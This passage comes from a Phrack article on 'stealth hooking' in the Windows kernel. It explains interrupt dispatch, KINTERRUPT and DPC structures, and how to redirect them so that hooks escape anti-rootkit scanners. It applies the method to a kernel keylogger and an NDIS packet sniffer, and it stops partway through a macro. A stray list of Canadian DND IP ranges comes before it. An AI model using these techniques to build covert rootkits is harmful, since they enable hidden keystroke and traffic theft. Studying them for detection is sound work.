Defense (DND) 192.35.144.0 - 192.35.144.24 : Canadian Department of National Defense (DND) 192.42.68.0 - 192.42.68.24 : Canadian Department of National Defense (DND) ==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x04 of 0x0f |=-----------------------------------------------------------------------=| |=---=[ Stealth hooking : Another way to subvert the Windows kernel ]=---=| |=-----------------------------------------------------------------------=| |=--------------------=[ by mxatone and ivanlef0u ]=---------------------=| |=-----------------------------------------------------------------------=| 1 - Introduction on anti-rookits technologies and bypass 1.1 - Rookits and anti-rootkits techniques 1.2 - About kernel level protections 1.3 - Concept key: use kernel code against itself 2 - Introducing stealth hooking on IDT. 2.1 - How Windows manage hardware interrupts 2.1.1 - Hardware interrupts dispatching on Windows 2.1.2 - Hooking hardware IT like a ninja 2.1.3 - Application 1 : Kernel keylogger 2.1.4 - Application 2 : NDIS incoming packets sniffer 2.2 - Conclusion about stealth hooking on IDT 3 - Owning NonPaged pool using stealth hooking 3.1 - Kernel allocation layout review 3.1.1 - Difference between Paged and NonPaged pool 3.1.2 - NonPaged pool tables 3.1.3 - Allocation and free algorithms 3.2 - Getting code execution abusing allocation code 3.2.1 - Data corruption of MmNonPagedPoolFreeListHead 3.2.2 - Expend it for every size 3.3 - Exploit our position 3.3.1 - Generic stack redirection 3.3.2 - Userland process code injection 4 - Detection 5 - Conclusion 6 - References ---[ 1 - Introduction on anti-rookits technologies and bypass Nowadays rootkits and anti-rootkits are becoming more and more important into the IT security landscape. Loved by some, hated by others, rootkits can be considered as the holy grail of backdoors : stealthy, little, close to hardware, ingenious, vicious... Their control over a computer locally or remotely make them the best choice for an attacker. Anti-rootkits try to detect and eradicate those malicious programs. Rk techniques and complexity are evolving fast and today developing a rk or anti-rk is a very hard mission. This paper deals about rootkits on Windows platform. More precisely about new kind of hijacking techniques that can be applied to the Windows kernel. Readers are assumed to be aware about rootkits techniques on Windows. ----[ 1.1 - Rootkits and anti-rootkits technics A rootkit hijacks an operating system's behavior. In order to achieve this task, it can simply modify the operating system's binaries but that's not very stealthy. Most rk's use hooks on important functions and change theirs results. A basic hook redirects execution flow by changing function start or a function pointer but there is no single way to hook a routine. The most common example is the SSDT (System Service Descriptor Table), this table contains the syscall list which is a set of functions pointers. If you can modify a pointer in this table, you are able to control the behavior of one function. That's an example of how rootkits proceed, obviously there is a lot of critical areas that can be controlled by an attacker. Anti-rootkits try to check those areas, but the task is very hard. Most of the time, anti-rk software makes a comparison between the memory image of the program and its binary on the disk or verify some function pointer tables to see if something has changed. That's how the war between rk-makers and anti-rk-junkies began, trying to find the best way, the best area, for hooking critical operating system features. On Windows those following areas are often used by rootkits : - SSDT (kernel syscalls table) and shadow SSDT (win32k syscall table) are the simplest solution. - MSR (Model Specific Registers) can be modified by a rootkit. On Windows the MSR_SYSENTER_EIP is used by the assembly instructions 'sysenter' to enter into ring0 mode. Hijacking this MSR allow an attacker to control the system. - MajorFunctions are functions used by drivers for I/O processing with others devices, hooking those functions can be useful for a rootkit. - IDT (Interrupt Descriptor Table) is table used by the system for handling exceptions and interruptions. Another kind of techniques has appeared. By accessing to the kernel objects a rootkit can easily change information about processes, threads, loaded modules and other stuff. Those techniques are called DKOM (Direct Kernel Object Manipulation). For example, the Windows kernel maintains a double linked list called PsActiveProcessList (EPROCESS structures) containing information about running processes. Unlink one of them and your process will disappear from process lists like task manager, whereas the process is still running. To block those kernel objects modifications, anti-rk checks other sections. For processes, they used to read the PspCidTable which has a table of PID (Process IDentifier) and TID (Thread IDentifier). A comparison between this table and PsActiveProcessList shows hidden processes. Against those attacks anti-rk tools have to find others sections and tricks to detect altered objects. One of the first paper about Windows stealth was written by Holy Father, "Invisibility on NT boxes" [1]. With this paper came one of the first public implementations of a rootkit with a ring0 driver, Hacker Defender [2], coded by Holy Father and Ratter of the famous VXing mag 29A [3]. This driver was able to elevate process rights using token manipulation. The rest of the rootkit uses user-land hooks to perform files and registry hiding, process infection with dll injection. A good example of a full ring0 rootkit is NT Rootkit of Greg Hoglund [4], this driver uses SSDT hooks to perform stealth operation. It registers a Filter Device Object above the NTFS file system and above the keyboard device for filtering IRP (I/O Request Packets). It also provides a NDIS protocol driver to hide communication on the network. Even if this rk was written for NT 4.0 and Win2K it's a perfect example for beginners. After came more advanced ring0 rk like FU [5], written by Fuzen_op and its improvement FUto published in the famous technical journal Uninformed [6]. Vista improvement on driver verification introduces new rootkits mostly based on hardware features. Like BootRoot [7] and Pixie [8] by Eeye loaded before any protection. Finally Joanna Rutkowska with her Blue Pill [9] used virtualization technology to create layer between the operating system and the hardware. In the wild the rk are used most of the time for lame mail spamming or botnets. They often use old techniques but some of them are interesting like Rustock [10] series or StormWorm [11] and the MBR rootkit [12]. They implement a lot of tricks as ADS (Alternate Data Stream), code obfuscation, anti-debug, anti-VM or polymorphic code. The goal is not only subverting the kernel but also slow down their analysis and make them harder to defeat. Even if the technology used by rootkits are more and more sophisticated, the underground community is still developing POCs to improve current techniques. Unreal [13] and AK992 [14] are both great examples. The first uses an ADS and a NTFS MajorFunctions hooking to hide itself, the second checks IRP completion when sended to disk's devices. You can find plenty examples of rootkit techniques on rootkit.com. Finally, this part would not be complete if we don't speak about anti-rk. The most famous is Rk Unhooker by MP_ART & EP_X0FF and their team UG North. Others anti-rk are DarkSpy [15] by CardMagic, IceSword [16] by pjf and Gmer [17]. ----[ 1.2 - About kernel level protections When we talk about protection, we must notice where the protection takes place into the system. A protection has an advantage on an attack only if it operates from a higher level. Protections like PaX or Exec Shield are efficient because they protecting userland from kernel. Protections like PatchGuard and other HIPS also protect the system integrity but as far as an attacker can find a way to attack those protections at their own level they will be useless. A protection is reliable only if it can't be corrupted by an attacker. Assuming an attacker find a way to inject code into the protection and you can consider that your b0x is dead. That's why PatchGuard isn't so efficient [18]. But we know that disabling or destroying a protection is very noisy. No, the best way is to fly under the radar by working with special objects and events that cannot be checked because of their volatility. In June 2006, Greg Hoglund presented the concept of KOH (Kernel Object Hooking) [19]. A new way of detouring code execution, you don't have to modify static code section but rather you work on dynamic allocated structures/codes like DPC (Deferred Procedure Calls). For protections, it's hard to find and verify those areas due to their instabilities. Others cool objects are IRP. They are the object used by the Windows kernel I/O manager to communicate with devices. Each I/O operation on hardware generates an IRP, sycalls send IRP to a driver through his device. In general a driver owns several devices; one of them is used to communique with the userland by using IOCTL and others devices are managing IRP by filtering them or performing a requested task. IRP are sent to a driver using its MajorFunctions table. This table includes the different functionalities provided by the driver. You can check the result returned by a MajorFunction by installing a completion routine on an IRP. They are very volatile objects; controlling and checking them is very hard. In fact, if you want to check everything you would need to completely redesign operating system architecture. So keep in mind that protection cannot be everywhere at every time and we will demonstrate it in the following parts. ----[ 1.3 - Concept key: use kernel code against itself The idea behind this paper is exploiting kernel code. Exploitation is possible because input defines code behavior. Submitting a crafted input to a vulnerable software can leads into code execution. Dangerous input is of course defined by your target. Kernel space contains more exploitation scenarios because you can change its environment. A rootkit can not change basic inputs as arguments. But it can change the environment around a code. Heap exploitation techniques such as unlinking is a perfect example. By changing a memory block structure, you are able to overwrite 4 bytes. Some techniques can even change next allocated block address [20]. It does work because a program trusts those information. In kernel, you have a total control on the environment. Also completely checking the kernel is bad for performance and totally impossible. Changing code environment has been used successfully for the phide2 rootkit [21] technique. This rootkit can hide threads without hooking Windows scheduler which is impressive. As it relies on code behavior, it needs strong reverse knowledge. It extends this concept into unknown operating system behaviors. Generic protections are based on generic assumptions. Such as checking only driver images for code hooks. These days operating systems design is against those protections and requires advanced software rootkit techniques. ---[ 2 - Introducing stealth hooking on IDT Let's introduce our concept about stealth hooking with an example based on IDT. First we will see what is the IDT and its purpose. Then we will discuss about hardware interrupts and how Windows deals with them. IDT (Interrupt Descriptor Table) is a CPU specific linear table localized in kernel-land. IDT can be read with ring3 privilege level but you must have ring0 privilege if you want to write into it. IDT is composed of 256 entries of KIDTENTRY structures and you can use the Kernel Debugger (KD) included into the Debugging Tools for Windows [22] to see the definition of an IDT entry. kd> dt nt!_KIDTENTRY +0x000 Offset : Uint2B +0x002 Selector : Uint2B +0x004 Access : Uint2B +0x006 ExtendedOffset : Uint2B Here we don't want to (re)explain the architecture of the IDT so we advise you to read Kad's paper published in Phrack 59 about IDT and about how it works [23]. The first 32 entries of IDT are reserved by the CPU for exceptions. Others are use to handle hardware interrupts and special system events. Here is a dump of the first 64 entries of the Windows' IDT. kd> !idt -a Dumping IDT: 00: 804df350 nt!KiTrap00 01: 804df4cb nt!KiTrap01 02: Task Selector = 0x0058 03: 804df89d nt!KiTrap03 04: 804dfa20 nt!KiTrap04 05: 804dfb81 nt!KiTrap05 06: 804dfd02 nt!KiTrap06 07: 804e036a nt!KiTrap07 08: Task Selector = 0x0050 09: 804e078f nt!KiTrap09 0a: 804e08ac nt!KiTrap0A 0b: 804e09e9 nt!KiTrap0B 0c: 804e0c42 nt!KiTrap0C 0d: 804e0f38 nt!KiTrap0D 0e: 804e164f nt!KiTrap0E 0f: 804e197c nt!KiTrap0F 10: 804e1a99 nt!KiTrap10 11: 804e1bce nt!KiTrap11 12: 804e197c nt!KiTrap0F 13: 804e1d34 nt!KiTrap13 14: 804e197c nt!KiTrap0F 15: 804e197c nt!KiTrap0F 16: 804e197c nt!KiTrap0F 17: 804e197c nt!KiTrap0F 18: 804e197c nt!KiTrap0F 19: 804e197c nt!KiTrap0F 1a: 804e197c nt!KiTrap0F 1b: 804e197c nt!KiTrap0F 1c: 804e197c nt!KiTrap0F 1d: 804e197c nt!KiTrap0F 1e: 804e197c nt!KiTrap0F 1f: 804e197c nt!KiTrap0F 20: 00000000 21: 00000000 22: 00000000 23: 00000000 24: 00000000 25: 00000000 26: 00000000 27: 00000000 28: 00000000 29: 00000000 2a: 804deb92 nt!KiGetTickCount 2b: 804dec95 nt!KiCallbackReturn 2c: 804dee34 nt!KiSetLowWaitHighThread 2d: 804df77c nt!KiDebugService 2e: 804de631 nt!KiSystemService 2f: 804e197c nt!KiTrap0F 30: 806f3d48 hal!HalpClockInterrupt 31: 80dd816c i8042prt!I8042KeyboardInterruptService (KINTERRUPT 80dd8130) 32: 804ddd04 nt!KiUnexpectedInterrupt2 33: 80dd3224 serial!SerialCIsrSw (KINTERRUPT 80dd31e8) 34: 804ddd18 nt!KiUnexpectedInterrupt4 35: 804ddd22 nt!KiUnexpectedInterrupt5 36: 804ddd2c nt!KiUnexpectedInterrupt6 37: 804ddd36 nt!KiUnexpectedInterrupt7 38: 806edef0 hal!HalpProfileInterrupt 39: 80f0827c ACPI!ACPIInterruptServiceRoutine (KINTERRUPT 80f08240) 3a: 80dc67cc vmsrvc+0x1C16 (KINTERRUPT 80dc6790) 3b: 80df6414 NDIS!ndisMIsr (KINTERRUPT 80df63d8) 3c: 80de040c i8042prt!I8042MouseInterruptService (KINTERRUPT 80de03d0) 3d: 804ddd72 nt!KiUnexpectedInterrupt13 3e: 80ed78a4 atapi!IdePortInterrupt (KINTERRUPT 80ed7868) 3f: 80f01dd4 atapi!IdePortInterrupt (KINTERRUPT 80f01d98) 40: 804ddd90 nt!KiUnexpectedInterrupt16 [...] This dump represents a typical Windows IDT, you can see the IDT entries index followed by the address of the handler and this name. The first 32 entries are filled by KiTrap* functions that manage exceptions. The rest of the table is left to the system, you can see specials system interrupts like KiSystemService and KiCallbackReturn and handlers used by drivers like I8042KeyboardInterruptService or I8042MouseInterruptService. ----[ 2.1 - How Windows manage hardware interrupts When we talk about interrupts we must introduce the concept of IRQL (Interrupt ReQuest Level). The kernel represents IRQLs internally as a number from 0 through 31 on x86 with higher numbers representing higher priority interrupts. Although the kernel defines the standard set of IRQLs for software interrupts, the HAL (Hardware Abstraction Layer) maps hardware interrupt numbers to the IRQLs. +----------------+ 31 | Highests | \ to | IRQLs | | Clock, system failure. 27 | | / +----------------+ 26 | | \ to | DEVICE_IRQL | | Hardware interrupts. 3 | | / +----------------+ 2 | DISPATCH_LEVEL | Scheduler, DPC. +----------------+ 1 | APC_LEVEL | Used when dispatching APC. +----------------+ 0 | PASSIVE_LEVEL | Threads run at this IRQL. +----------------+ Each processor has its own IRQL. You can have a core running at an IRQL= DISPATCH_LEVEL whereas another is running at PASSIVE_LEVEL. In fact IRQL represents the "mask ability" of the current running code. Interrupts from a source with an IRQL above the current level interrupt the processor, whereas interrupts from sources with IRQLs equal to or below the current level are masked until an executing thread decrease the IRQL. Some system components are not accessible when code is running at IRQL>=DISPATH_LEVEL. Accessing to paged memory (memory which can be swapped on disk) is impossible and lots of kernel functions cannot be used. Hardware interrupts are asynchronous and reached by external peripherals. For example when you hit a key, your keyboard device sends an IRQ (Interrupt ReQuest) routed by the Southbridge [24] on your interrupt controller through the Northbridge [25]. The Southbridge is a chip that can be described like a I/O controller hub. This chip receives all the I/O externals interrupt and send them to the Northbridge. The Northbridge is directly connected to your memory and high speed graphic bus also to your CPU. This chip is also known as the memory controller hub. On most x86 systems we find a chipset called i82489, Advanced Programmable Interrupt Controller (APIC). The APIC is composed by 2 main components, a I/O APIC, one per CPU, and a LAPIC (Local APIC) on each core. I/O APIC uses a routing algorithm to dispatch an interrupt on the best adapted core. According to the principle of locality, I/O APIC will deliver the device interrupt on the core which handled it the previous time [26]. After this LAPIC translates the IRQ to an 8-bits value, an interrupt vector. This interrupt vector represents IDT's entry index associated with the handler. When the core is ready to handle the interrupt, its instruction flow is redirected on the IDT entry. IDT IDT IDT IDT 1 2 3 4 +---+ +---+ +---+ +---+ | | | | | | | | |---| |---| |---| |---| | | | | | | | | |---| |---| |---| |---| | | | | | | | | +---+ +---+ +---+ +---+ | | | | +--------+ +--------+ +--------+ +--------+ | | | | | | | | | core 1 | | core 2 | | core 3 | | core 4 | | | | | | | | | +--------+ +--------+ +--------+ +--------+ | LAPIC | | LAPIC | | LAPIC | | LAPIC | +---+----+ +---+----+ +---+----+ +---+----+ | | | | | | | | <---+--------------+------+-------+-------------+-----> Interrupt | Processor system bus Messages | | | External +------+------+ Interrupts | | ---------------> I/O APIC | | | +-------------+ -----[ 2.3.1 Hardware interrupts dispatching on Windows On Windows, the interrupt handler isn't executed immediately, there is a code template first. This template is implemented in the function KiInterruptTemplate and does two things. First, it saves the current core state in the stack and dispatches code flow to the right "interrupt dispatcher". When a interrupt is raised, after the core status core is saved, code flow is transferred to the interrupt handler as defined in the IDT. In fact each interrupt handler in the IDT points to a KiInterruptTemplate routine [27]. KiInterruptTemplate will call KiInterruptDispatch which performs the following operations : - Acquire the service routine spinlock. - Raise IRQL to DEVICE_IRQL, the IRQL of a given interrupt vector is calculated by subtracting the interrupt vector from 27d. - Call the interrupt handler, an ISR (Interrupt Service Routine). - Lower IRQL. - Release the service routine spinlock. For example, the keyboard device ISR is I8042KeyboardInterruptService. ISR are routines for handling interrupts like top-halves in the linux kernel. According to the WDK (Windows Driver Kit), the ISR must do whatever is appropriate to the device to dismiss the interrupt. Then, it should do only what is necessary to save stage and queue a DPC. It means it interruption management will take place on a lower IRQL than during ISR execution. The I/O processing is done into the DPC. DPC (Deferred Procedure Call) are equivalent of bottom-halves in linux. DPC works at IRQL DISPATCH_LEVEL, lower than the ISR's IRQL. In fact the ISR will queue a DPC to process the entire interrupt at a lower IRQL in order to avoid the core preemption taking too much time. For the keyboard the DPC is I8042KeyboardIsrDpc. Here a figure to sum up the interrupt processing : +-------------------------+ Hardware Interrupt /----> Here we are at | | | | IRQL=DEVICE_LEVEL | | | | The KiInterruptDispatch | /---> IDT ---\ | | routine calls the ISR. | | | | | | | | ISR handles interrupt | +-----------------------+ | | and queue a DPC for | | KiInterruptTemplate ------/ | later processing | +-----------------------+ | | +-------------------------+ KiInterruptDispatch receives one main argument from KiInterruptTemplate, a pointer to an interrupt object stored in the EDI register. Interrupt objects are defined by a KINTERRUPT structure : kd> dt nt!_KINTERRUPT +0x000 Type : Int2B +0x002 Size : Int2B +0x004 InterruptListEntry : _LIST_ENTRY +0x00c ServiceRoutine : Ptr32 unsigned char +0x010 ServiceContext : Ptr32 Void +0x014 SpinLock : Uint4B +0x018 TickCount : Uint4B +0x01c ActualLock : Ptr32 Uint4B +0x020 DispatchAddress : Ptr32 void +0x024 Vector : Uint4B +0x028 Irql : UChar +0x029 SynchronizeIrql : UChar +0x02a FloatingSave : UChar +0x02b Connected : UChar +0x02c Number : Char +0x02d ShareVector : UChar +0x030 Mode : _KINTERRUPT_MODE +0x034 ServiceCount : Uint4B +0x038 DispatchCount : Uint4B +0x03c DispatchCode : [106] Uint4B We retrieve in this structure, the SpinLock and the ServiceRoutine. Notice that SynchronizeIrql contains the IRQL when the ISR will be executed. For each entry in the IDT which handles a hardware interrupt, the KiInterruptTemplate is contained in the DispatchCode table of the KINTERRUPT structure. For the keyboard device we have this KINTERRUPT : kd> dt nt!_KINTERRUPT 80dd8130 +0x000 Type : 22 +0x002 Size : 484 +0x004 InterruptListEntry : _LIST_ENTRY [ 0x80dd8134 - 0x80dd8134 ] +0x00c ServiceRoutine : 0xfa815495 unsigned char ->i8042prt!I8042KeyboardInterruptService+0 +0x010 ServiceContext : 0x80e2ec88 +0x014 SpinLock : 0 +0x018 TickCount : 0xffffffff +0x01c ActualLock : 0x80e2ed48 -> 0 +0x020 DispatchAddress : 0x804da8d8 void nt!KiInterruptDispatch+0 +0x024 Vector : 0x31 +0x028 Irql : 0x1a '' +0x029 SynchronizeIrql : 0x1a '' +0x02a FloatingSave : 0 '' +0x02b Connected : 0x1 '' +0x02c Number : 0 '' +0x02d ShareVector : 0 '' +0x030 Mode : 1 ( Latched ) +0x034 ServiceCount : 0 +0x038 DispatchCount : 0xffffffff +0x03c DispatchCode : [106] 0x56535554 Let's have a look at the beginning of KiInterruptTemplate : nt!KiInterruptTemplate: 804da972 54 push esp 804da973 55 push ebp 804da974 53 push ebx 804da975 56 push esi 804da976 57 push edi 804da977 83ec54 sub esp,54h 804da97a 8bec mov ebp,esp 804da97c 89442444 mov dword ptr [esp+44h],eax 804da980 894c2440 mov dword ptr [esp+40h],ecx 804da984 8954243c mov dword ptr [esp+3Ch],edx 804da988 f744247000000200 test dword ptr [esp+70h],20000h 804da990 0f852a010000 jne nt!V86_kit_a (804daac0) 804da996 66837c246c08 cmp word ptr [esp+6Ch],8 804da99c 7423 je nt!KiInterruptTemplate+0x4f (804da9c1) 804da99e 8c642450 mov word ptr [esp+50h],fs 804da9a2 8c5c2438 mov word ptr [esp+38h],ds 804da9a6 8c442434 mov word ptr [esp+34h],es 804da9aa 8c6c2430 mov word ptr [esp+30h],gs 804da9ae bb30000000 mov ebx,30h 804da9b3 b823000000 mov eax,23h 804da9b8 668ee3 mov fs,bx 804da9bb 668ed8 mov ds,ax 804da9be 668ec0 mov es,ax 804da9c1 648b1d00000000 mov ebx,dword ptr fs:[0] 804da9c8 64c70500000000ffffffff mov dword ptr fs:[0],0FFFFFFFFh 804da9d3 895c244c mov dword ptr [esp+4Ch],ebx 804da9d7 81fc00000100 cmp esp,10000h 804da9dd 0f82b5000000 jb nt!Abios_kit_a (804daa98) 804da9e3 c744246400000000 mov dword ptr [esp+64h],0 804da9eb fc cld 804da9ec 8b5d60 mov ebx,dword ptr [ebp+60h] 804da9ef 8b7d68 mov edi,dword ptr [ebp+68h] 804da9f2 89550c mov dword ptr [ebp+0Ch],edx 804da9f5 c74508000ddbba mov dword ptr [ebp+8],0BADB0D00h 804da9fc 895d00 mov dword ptr [ebp],ebx 804da9ff 897d04 mov dword ptr [ebp+4],edi 804daa02 f60550f0dfffff test byte ptr ds:[0FFDFF050h],0FFh 804daa09 750d jne nt!Dr_kit_a (804daa18) nt!KiInterruptTemplate2ndDispatch: 804daa0b bf00000000 mov edi,0 nt!KiInterruptTemplateObject: 804daa10 e9c3fcffff jmp nt!KeSynchronizeExecution+0x2 (804da6d8) [...] Remember, this code is unique for each KINTERRUPT. We said before that KiInterruptDispatch receives its arguments from the EDI register (a pointer to the KINTERRUPT of the interrupt). In the KiInterruptTemplate we can see this little code : [...] nt!KiInterruptTemplate2ndDispatch: 804daa0b bf00000000 mov edi,0 nt!KiInterruptTemplateObject: 804daa10 e9c3fcffff jmp nt!KeSynchronizeExecution+0x2 (804da6d8) [...] Here we have a mov "edi, 0" and a jmp, but if we look at the KiInterruptTemplate code contained in the keyboard's KINTERRUPT we have : ffb72525 bf5024b7ff mov edi,0FFB72450h ; Keyboard KINTERRUPT ffb7252a e9a9839680 jmp nt!KiInterruptDispatch (804da8d8) Wow, instructions are modified! The kernel will dynamically changes those 2 instructions in the KiInterruptTemplate code. In EDI we find the KINTERRUPT object and the jmp branch on KiInterruptDispatch. Why this implementation ? Because we can easily change the dispatch handler. Even if we often have the KiInterruptDispatch we can find KiFloatingDispatch or KiChainDispatch. KiChainedDispatch is for vectors shared among multiple interrupt objects and KiFloatingDispatch is like KiInterruptDispatch, but it saves the floating core state too. Windows provides APIs for connecting interrupts on IDT. IoConnectInterrupt and IoConnectInterruptEx, according to the WDK : NTSTATUS IoConnectInterrupt( OUT PKINTERRUPT *InterruptObject, IN PKSERVICE_ROUTINE ServiceRoutine, IN PVOID ServiceContext, IN PKSPIN_LOCK SpinLock OPTIONAL, IN ULONG Vector, IN KIRQL Irql, IN KIRQL SynchronizeIrql, IN KINTERRUPT_MODE InterruptMode, IN BOOLEAN ShareVector, IN KAFFINITY ProcessorEnableMask, IN BOOLEAN FloatingSave ); As you can see IoConnectInterrupt returns in the InterruptObject parameter a KINTERRUPT structure, the same that we retrieve in the IDT. Previously you have seen in the KiInterruptTemplate two labels, KiInterruptTemplateObject and KiInterruptTemplate2ndDispatch. Those two labels are used by kernel function to find the two instructions in the KiInterruptTemplateRoutine. KeInitializeInterrupt uses the KiInterruptTemplateObject label to update the "jmp Ki*Dispatch" and the KiConnectVectorAndInterruptObject function uses KiInterruptTemplate2ndDispatch to modify the "mov edi, <&Kinterrupt>". -----[ 2.3.2 Hooking hardware IDT like a ninja Now, think about this. We want to hook the IDT in a stealth way, we know that replacing an entry directly is not the best solution. Anti-rooktits don't check the dynamically allocated KiInterruptTemplate routine. So we can modify this routine as we wish. There are three possible ways : - Redirect the "jmp Ki*Dispatch" on our dispatch routine, we have to code our dispatch routine, not so hard. - Change the kinterrupt address passed in EDI by the instruction "mov edi, <&Kinterrupt>". The new KINTERRUPT will be the same than the previous one, only the ServiceRoutine will be modified by us. - Create our own KiInterruptTemplate, hard ... In this paper, we choosed the simplest way. We change the "mov edi, <&kinterrupt>" by a "mov edi, <&OurKinterrupt>" and we implement our ServiceRoutine. We know that this instruction is followed by a jmp, so with a disassembly engine we can retrieve the instruction before the jmp nt!KiInterruptDispatch and modify it. We must keep in mind, when the ServiceRoutine is running, the interrupt is not handled yet and we are running at DEVICE_IRQL IRQL. This is not a fair situation, because a lot of Windows kernel functions are not accessible. We know, that most ISR queued a DPC, so after the ISR has been executed, the last entry in the current core DPC queue should contain the DPC routine of our interrupt. If we want to access data generated by the interrupt we must proceed like the ISR. Replacing the original ISR by our own ISR handler is very hard, because it depends too much on the hardware device. But we know that the real I/O is done by the DPC, so when KiInterruptTemplate will call our ServiceRoutine, first we call the original ServiceRoutine and we modify the last DPC entry by our. DPC are represented by KDPC structures : kd> dt nt!_KDPC +0x000 Type : Int2B +0x002 Number : UChar +0x003 Importance : UChar +0x004 DpcListEntry : _LIST_ENTRY +0x00c DeferredRoutine : Ptr32 void +0x010 DeferredContext : Ptr32 Void +0x014 SystemArgument1 : Ptr32 Void +0x018 SystemArgument2 : Ptr32 Void +0x01c Lock : Ptr32 Uint4B DPC list can be found in the KPRCB (Kernel Processor Control Region Block) structure of the current processor. KPRCB is preceded by a KPCR (Kernel Processor Control Block) structure which is located at FS:[0x1C] on the current processor. KPRCB is a 0x120 bytes from the beginning of the KPCR structure. dt nt!_KPRCB [...] +0x860 DpcListHead : _LIST_ENTRY +0x868 DpcStack : Ptr32 Void ; DPC arguments +0x86c DpcCount : Uint4B ; DPC core counter +0x870 DpcQueueDepth : Uint4B ; Numbers of DPC in the list +0x874 DpcRoutineActive : Uint4B +0x878 DpcInterruptRequested : Uint4B +0x87c DpcLastCount : Uint4B +0x880 DpcRequestRate : Uint4B +0x884 MaximumDpcQueueDepth : Uint4B +0x888 MinimumDpcRate : Uint4B Now we know how to retrieve the DPC of our interrupt, we can easily change it to our own and handle the data. For the keyboard the DPC is queued by KeInsertQueueDpc in the I8xQueueCurrentKeyboardInput routine called by the keyboard's ISR. kd> dt nt!_KDPC 80e3461c +0x000 Type : 19 ; 19=DpcObject +0x002 Number : 0 '' +0x003 Importance : 0x1 '' +0x004 DpcListEntry : _LIST_ENTRY [ 0xffdff980 - 0x80559684 ] +0x00c DeferredRoutine : 0xfa815650 void i8042prt!I8042KeyboardIsrDpc +0x010 DeferredContext : 0x80e343b8 +0x014 SystemArgument1 : (null) +0x018 SystemArgument2 : (null) +0x01c Lock : 0xffdff9c0 -> 0 Here is the figure of the attack : MyKinterrupt structure +---------------------+ Hardware Interrupt /----> MyServiceRoutine | | | | Calls the original | | | | ISR ------\ \---> IDT ---\ | | And modify the DPC | | | | | queue. | | | | +---------------------+ | +---------------------+ | | | KiInterruptTemplate -----/ Original Kinterrupt | +---------------------+ +---------------------+ | Core | | | +------------+ | ServiceRoutine <-----/ | | | Queues the ISR's DPC| |DpcListHead |--\ +---------------------+ | | | +------------+ | | +-----+ +-----+ +-----+ +-----+ \-> DPC |---->| DPC |---->| DPC |---->| DPC |-->DpcListHead DpcListHead<---| |<----| |<----| |<----| | +-----+ +-----+ +-----+ +-----+ /\ || Last DPC entry Modified after the call to the ServiceRoutine. -----[ 2.3.3 - Application 1 : Kernel keylogger It's time to design a POC. In this sample we will see how to sniff keyboard keystrokes. As you see previously, we are now able to control the DPC generated by an interrupt. For the keyboard we will hijack the I8042KeyboardIsrDpc routine which is set into the DPC's keyboard interruption. With our own DPC handler we will reproduce the behavior of the original routine, unfortunately this kind of routine is hard to write so we ripped some pieces of codes and used reversing techniques (notice the lazy hacker style). In our DPC handler we must call the KeyboardClassServiceCallback [28] routine, this routine is provided by the Kbdclass driver. This callback transfers input data buffer of a device to the class data queue. A function keyboard driver must calls this class service callback in its DPC routine. Here is the KeyboardClassServiceCallback's prototype : VOID KeyboardClassServiceCallback ( IN PDEVICE_OBJECT DeviceObject, IN PKEYBOARD_INPUT_DATA InputDataStart, IN PKEYBOARD_INPUT_DATA InputDataEnd, IN OUT PULONG InputDataConsumed ); Parameters : DeviceObject : Pointer to the class device object. InputDataStart : Pointer to the first keyboard input data packet in the input data buffer of the port device. InputDataEnd : Pointer to the keyboard input data packet that immediately follows the last data packet in the input data buffer of the port device. InputDataConsumed : Pointer to the number of keyboard input data packets that are transferred by the routine. KEYBOARD_INPUT_DATA is defined by : typedef struct _KEYBOARD_INPUT_DATA { USHORT UnitId; USHORT MakeCode; USHORT Flags; USHORT Reserved; ULONG ExtraInformation; } KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA; So in our DPC handler we just have to check the MakeCode member of the set of KEYBOARD_INPUT_DATA structures. The MakeCode (or scancode) represents the data sent by the keyboard to the system when you hit or release a key, each key has it's own scancode and the system usually translates the scancode into a character depending on you code page. For example the scancode 19d on classical US keyboard is translated into the keycode 'e'. In order to know if CAPSLOCK is activated we send an IOCTL to the functional keyboard device but we can only send IOCTL at a PASSIVE_LEVEL IRQL. For that we use a system thread which will sent IOCTL with the kernel API IoBuildDeviceIoControlRequest. In fact the scancodes are queued in a list locked by a spinlock and thread synchronized with a semaphore. The thread is listening to incoming keystrokes then converts scancodes into keycodes. Like the kernel keylogger Klog does [29]. -----[ 2.3.4 - Application 2 : NDIS packet sniffer In the same way, an interrupt is raised when your network card receives a packet. When this kind of interrupt is raised NDIS ISR handler (ndisMIsr) routine launches the miniport ISR interrupt handler. The ndisMIsr routine is used as a wrapper for miniport ISR and DPC. You can see in the IDT the following entry : 3b: 80df6414 NDIS!ndisMIsr (KINTERRUPT 80df63d8) It means, your ISR handler is not called directly when an interrupt occurs, it is the ndisMIsr routine. Miniport's ISR is called by ndisMIsr and the miniport DPC is also queued in this routine. The DPC queued is the ndisMDpc routine which wraps your own DPC miniport handler. Finally NDIS wraps all the interrupt process with ndisMIsr and ndisMDpc routines on Windows XP with NDIS 5.1. We don't know if this implementation is still present on Windows Vista with NDIS 6.0. We know we can hijack the ndisMDpc handler by our own handler. With NDIS we will proceed in the same way but we will not hook the MiniportDpc routine but directly hook the ndisMDpc routine. Why? Because we know that ndisMDpc wraps the MiniportDpc routine and in fact MiniportDpc depends too much on the hardware of the miniport device. Each miniport device is represented by an NDIS_MINIPORT_BLOCK [30] structure, in this structure we find a reference to a NDIS_MINIPORT_INTERRUP structure, which looks like : kd> dt ndis!_NDIS_MINIPORT_INTERRUPT +0x000 InterruptObject : Ptr32 _KINTERRUPT +0x004 DpcCountLock : Uint4B +0x008 Reserved : Ptr32 Void +0x00c MiniportIsr : Ptr32 Void +0x010 MiniportDpc : Ptr32 Void +0x014 InterruptDpc : _KDPC +0x034 Miniport : Ptr32 _NDIS_MINIPORT_BLOCK +0x038 DpcCount : UChar +0x039 Filler1 : UChar +0x03c DpcsCompletedEvent : _KEVENT +0x04c SharedInterrupt : UChar +0x04d IsrRequested : UChar If we look at the ndisMDpc routine we notice that only the first parameter is used and this parameter refers to a NDIS_MINIPORT_INTERRUPT structure. The ndisMDpc function will call the MiniportDpc field of this structure. We just have to hijack this pointer by our routine in order to control the incoming packets on the system. The NDIS documentation specifies that a miniport DPC routine must notify the bound protocol driver that an that an array of received packets is available by calling the NdisMIndicateReceivePacket function [31]. VOID NdisMIndicateReceivePacket( IN NDIS_HANDLE MiniportAdapterHandle, IN PPNDIS_PACKET ReceivePackets, IN UINT NumberOfPackets ); In the ndis.h header we have : #define NdisMIndicateReceivePacket(_H, _P, _N) \ { \ 